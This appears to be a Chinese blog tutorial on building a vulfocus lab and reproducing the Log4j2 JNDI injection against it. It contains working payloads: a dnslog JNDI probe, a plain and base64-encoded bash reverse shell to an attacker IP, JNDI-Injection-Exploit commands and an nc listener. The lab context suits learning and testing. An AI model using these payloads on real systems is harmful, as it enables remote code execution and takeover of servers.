• 本地搭建vulfocus靶场&复现log4j2漏洞


    搭建vulfocus靶场

    环境用的是linux下的centos

    1.首先需要在centos中安装docker环境
    curl -sSL https://get.daocloud.io/docker | sh

    2.开启docker:
    systemctl start docker

    3.下载vulfocus镜像
    docker pull vulfocus/vulfocus:latest

    4.映射到centos中
    docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP= vulfocus/vulfocus(80:80前面为真机端口,后面是虚机端口,IP地址为虚机地址用于访问靶场)

    5.完成后访问centos的ip即可
    在这里插入图片描述

    复现log4j2漏洞

    打开漏洞环境访问
    在这里插入图片描述

    log4j2漏洞原理

    log4j2会将用户输入的信息自动记录到日志中
    当用户输入正常的字符串时,log4j2会正常的记录
    在这里插入图片描述

    当用户输入${java:os}等时,写入到日志文件后,检测到${xxx:xxx},log4j就会通过uplook函数去执行${}中对应的接口
    在这里插入图片描述
    1.此时如果黑客输入类似${jndi:ldap:192.168.42.132:1099/shell}时,此条命令写入日志后,log4j中的lookup方法就会去解析括号里面的内容,去执行${}中的jndi接口的ldap协议,然后去访问192.168.42.132:1099找到idap服务对应的shell资源。

    2.当没有找到时就会去http服务寻找,在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,实现远程代码执行

    3.黑客可在.class文件中写入shell,从而反弹

    复现

    打开环境后这里可以看到hello后面跟的payload参数

    在这里插入图片描述
    漏洞验证,我们打开dnslog,并通过burp抓包进行测试
    payload:${jndi:ldap://06k1aw.dnslog.cn} ,idap后面跟的是dnslog的网址,注意此处需要url编码否则返回400

    解释:log4j将用户输入的${jndi:ldap://06k1aw.dnslog.cn}写入日志,日志发现有${}则对里面的内容进行解析,去执行jndi接口,然后通过jndi中的ldap服务的执行,去访问对应的网址

    在这里插入图片描述
    发送数据包后,刷新dnslog页面,发现受到了访问,确实执行了ldap服务去访问dnslog的页面

    在这里插入图片描述

    验证成功后,接下来就可以复现了

    构造反弹shell的payload:

    bash -i >& /dev/tcp/192.168.42.132/1234 0>&1,此处ip为接收shell攻击机的ip,端口为监听的端口

    由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

    在这里插入图片描述
    在攻击机上搭建JNDI服务,工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
    github上一搜就有

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A "该IP是开启JDNI服务的主机地址"

    通过工具生成jdni服务网址,当受害机通过jdnildap协议去访问这些网址时,没有找到ldap对应的资源时就会通过http协议去访问,然后将资源返回给log4jlog4j发现资源是一个.class文件就会把他下载下来,并执行

    此时下载下来的.class文件中的内容是我们写好的反弹shell的命令就会去反向连接我们的攻击机

    在这里插入图片描述
    攻击机这边通过nc监听本地的端口

    在这里插入图片描述

    burp这边抓包payload替换使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar生成的网址

    在这里插入图片描述
    同样进行url编码后发送

    在这里插入图片描述
    在这里插入图片描述JDNI服务这边也显示收到了访问

    在这里插入图片描述攻击机这边已经成功获取受害主机的shell

    在这里插入图片描述

    复现结束

  • 相关阅读:
    软件测试系列——缺陷
    Linux 中的权限
    《微机原理》-绪论
    有流量,但没有销售?增加网站销量的 6 个步骤
    0. HarmonyOS开发环境搭建问题
    8分钟,复习一遍红黑树
    【毕业设计】大数据工作岗位数据分析与可视化 - python flask
    maven-shade-plugin - 解决 Jar 包冲突新思路
    读懂:“消费报销”模式新零售打法,适用连锁门店加盟的营销方案
    人机交互复习总结5
  • 原文地址:https://blog.csdn.net/xhscxj/article/details/126753384